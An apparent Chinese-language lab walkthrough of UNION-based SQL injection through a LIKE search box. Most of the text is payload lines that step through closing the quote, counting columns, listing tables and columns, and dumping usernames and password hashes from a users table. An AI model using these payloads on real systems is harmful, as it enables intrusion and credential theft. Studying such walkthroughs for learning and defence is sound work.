正确的显示
输入ko 会自动搜索包含 ko的字段显示出来
因为会自动匹配到username,所以可以联想到这段语句使用了mysql的模糊查询。
条件大致为:Where username like ’%ko%‘;
一样尝试闭合然后再注释看是否能正常返回
回显正常,接下来应该就可以按照平常的注入就行
一样的判断列数
ko%’ order by 4 # --报错
ko%’ order by 3 # --正常
联合查询查看注入点
ko%’ union select 1,2,3 #
接下来一样的先爆库
ko%’ union select 1,2,database() #
爆表
ko%’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段
ko%' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#
爆表中的字段内容
ko%’ union select 1,2,group_concat(id,username,password) from users #
MD5解密密码就可以得到用户名密码